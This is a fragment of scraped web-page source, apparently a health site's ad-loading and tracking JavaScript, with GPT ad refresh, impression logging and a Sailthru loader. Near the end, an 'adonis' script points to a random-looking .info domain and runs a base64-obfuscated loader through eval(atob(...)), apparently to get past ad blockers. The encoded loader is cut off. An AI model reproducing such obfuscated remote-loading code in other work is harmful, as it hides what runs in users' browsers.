  window.hlLbLoaded = false;
  window.hlMr1Loaded = false;
  window.hlMr2Loaded = false;
  window.hlMr3Loaded = false;
  window.hlWslLoaded = false;
  window.hlAdsenseLoaded = false;
  window.ispromisesResolved = false;
  window.isSendAdDataAws = false;
  window.awsIdentityPoolId = '';
  window.awsDeliveryStreamName = '';

  function adLoadGATimer(adPosition, dfpAdSite, adLoadTimeRounded) {
    dataLayer.push({
      'event': 'hlAdLoad',
      'hlAdLoadCategory': 'Ad Display',
      'hlAdLoadAction': 'Ad Load Post Page Load',
      'hlAdLoadInteraction': true,
      'hlAdLoadLabel': adPosition.toLowerCase() + ':' + dfpAdSite,
      'hlAdLoadValue': adLoadTimeRounded
    });
  }

  require(['base/async'], function (Async) {

    var waitForSignal = false;
    window.HL_Fire_RefreshAllAds = function () {
      GPTRefreshAllAds();
    }

    function GPTRefreshAllAds() {
      // KIMPS

      for (var i = 0; i < adsArrayForKIMP.length; i++) {
        if (window.HL_ga_sendTrackEvent && adsArrayForKIMP[i]) {
          var adLoadStart = new Date().getTime();
          var adLoadDiff = adLoadStart - window.PageLoadTime;
          var adLoadTime = adLoadDiff/1000;
          var adLoadTimeRounded = Math.round(adLoadTime*10)/10;
          
          log.info("Ad Type: " + adsArrayForKIMP[i] + "Ad Load Start: " + adLoadStart + " Ad Load Diff: " + adLoadDiff + " Ad Load Time: " + adLoadTime);
          
          try {

            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': adsArrayForKIMP[i] + " Impression",
              'hlKeyImpressionLabel': "hn.us.hl.ss.x.x.x",
              'hlKeyImpressionInteraction': true
            });

            hlSendAdImpression({
              isRequest: true,
              dfpAdUnit: 'hn.us.hl.ss.x.x.x',
              pos: adsArrayForKIMP[i],
              k1: 'pid',
              k2: 'femalehealth',
              url: '%2Fsymptom%2Finfertility',
              msiteID: ''
            });

            
              window.monetateQ = window.monetateQ || [];
              window.monetateQ.push( ["setCustomVariables", [
                { name: "event", value: "hlKeyImpression" },
                { name: "hlKeyImpressionCategory", value: "Ad Impression" },
                { name: "hlKeyImpressionAction", value: adsArrayForKIMP[i] + " Impression" }
              ]]);
              window.monetateQ.push([ "trackData" ]);
            

            if (!hlLbLoaded && adsArrayForKIMP[i] === "LB") {
              hlLbLoaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            } else if (!hlMr1Loaded && adsArrayForKIMP[i] === "MR1") {
              hlMr1Loaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            } else if (!hlMr2Loaded && adsArrayForKIMP[i] === "MR2") {
              hlMr2Loaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            } else if (!hlMr3Loaded && adsArrayForKIMP[i] === "MR3") {
              hlMr3Loaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            } else if (!hlWslLoaded && adsArrayForKIMP[i] === "WSL") {
              hlWslLoaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            } else if (!hlAdsenseLoaded && adsArrayForKIMP[i] === "AdSense") {
              hlAdsenseLoaded = true;
              adLoadGATimer(adsArrayForKIMP[i], 'hn.us.hl.ss.x.x.x', adLoadTimeRounded);
            }

            log.info('gpt-common-ad-load-script.jsp - KIMP called: ' + adsArrayForKIMP[i] + ': hn.us.hl.ss.x.x.x');
          } catch (e) {
            // if an undefined value in array exists, do no log in GA
            // this does not affect ad refresh
          }
        }
      }
      // THIS IS THE ONE CALL FOR ENTIRE SITE
      googletag.cmd.push(function () {
        

        window.adTimerStart = new Date().getTime();

        
            if (bidsComplete) {
              log.info("######### time between bid submission and ad request in milliseconds : " + (new Date().getTime() - bidStartTime ));
              sendAdserverRequest();
            } else {
              var bidCheck = setInterval(function() {
                if (bidsComplete) {
                  log.info("######### (waited) time between bid submission and ad request in milliseconds : " + (new Date().getTime() - bidStartTime ));
                  sendAdserverRequest();
                  clearInterval(bidCheck);
                }
              }, 50);
            }
          
      });
    }

    Async(arrayPromiseFunctions, function (PromiseFunction, callback) {
      PromiseFunction().then(function (dataObj) {
        log.debug('gpt-common-ad-load-script.jsp - PromiseFunction callback');

        if (dataObj) {
          log.debug('gpt-common-ad-load-script.jsp - PromiseFunction callback - dataObj true');

          adsArrayToRefresh.push(dataObj.slotObj);
          adsArrayForKIMP.push(dataObj.slotName);
        } else {
          log.debug('gpt-common-ad-load-script.jsp - PromiseFunction callback - dataObj false');

          waitForSignal = true;
        }
        callback();
      }, function () {
        callback();
      });
    }, function () {
      log.trace('gpt-common-ad-load-script.jsp - callback');

      if (waitForSignal) {
        log.debug('gpt-common-ad-load-script.jsp - callback - waitForSignal true');

        $(document).on('wslAdNotShow', function () {
          log.info('gpt-common-ad-load-script.jsp - wslAdNotShow triggered');

          if (!fireOnce) {
            GPTRefreshAllAds();
            fireOnce = true;
          }
        });
        $(document).trigger('promisesResolved');
        window.ispromisesResolved = true;
      } else {
        log.debug('gpt-common-ad-load-script.jsp - callback - waitForSignal false');

        GPTRefreshAllAds();
      }
    });
  });
</script><!-- Sailthru Horizon -->
<script type="text/javascript">
  (function()
  {
    function loadHorizon()
    {
      var s = document.createElement('script');
      s.type = 'text/javascript';
      s.async = true;
      s.src = location.protocol + '//ak.sail-horizon.com/horizon/v1.js';
      var x = document.getElementsByTagName('script')[0];
      x.parentNode.insertBefore(s, x);
    }
    loadHorizon();
    var oldOnLoad = window.onload;
    window.onload = function()
    {
      if (typeof oldOnLoad === 'function')
      {
        oldOnLoad();
      }
      Sailthru.setup({
        domain: 'horizon.healthline.com',
        useStoredTags: false
      });
    };
  })();
</script>

<script>
    var adonis = adonis || {};
    adonis.conditionalAdRendering = true;
    adonis.transport = 'https://mxq9cw.gff6166tdt2i4fc155zi11.info/http';

    
        adonis.scriptResources = ['pagead2.googlesyndication.com/pagead/js/adsbygoogle.js'];
      

    adonis.ENABLE_SLOT_CACHE = true;
  </script>

  <script>
    /* loader-7.0.3 */eval(atob("IWZ1bmN0aW9uIGUodCxuLHIpe2Z1bmN0aW9uIG8oYSxjKXtpZighblthXSl7aWYoIXRbYV0pe3ZhciB1PSJmdW5jdGlvbiI9PXR5cGVvZiByZXF1aXJlJiZyZXF1aXJlO2lmKCFjJiZ1KXJldHVybiB1KGEsITApO2lmKGkpcmV0dXJuIGkoYSwhMCk7dmFyIHM9bmV3IEVycm9yKCJDYW5ub3QgZmluZCBtb2R1bGUgJyIrYSsiJyIpO3Rocm93IHMuY29kZT0iTU9EVUxFX05PVF9GT1VORCIsc312YXIgbD1uW2FdPXtleHBvcnRzOnt9fTt0W2FdWzBdLmNhbGwobC5leHBvcnRzLGZ1bmN0aW9uKGUpe3ZhciBuPXRbYV1bMV1bZV07cmV0dXJuIG8obj9uOmUpfSxsLGwuZXhwb3J0cyxlLHQsbixyKX1yZXR1cm4gblthXS5leHBvcnRzfWZvcih2YXIgaT0iZnVuY3Rpb24iPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZSxhPTA7YTxyLmxlbmd0aDthKyspbyhyW2FdKTtyZXR1cm4gb30oezE6W2Z1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgxMiksbz1lKDcpO2UoMjIpLHdpbmRvdy5hZG9uaXNDb25uVHlwZT0iaHR0cCIsci5sb2dnZXIuaW5mbygiW2h0dHBMb2FkZXJdOiBTdGFydGluZyBib290c3RyYXAiKSwoMCxvLnJ1bikoKX0sezEyOjEyLDIyOjIyLD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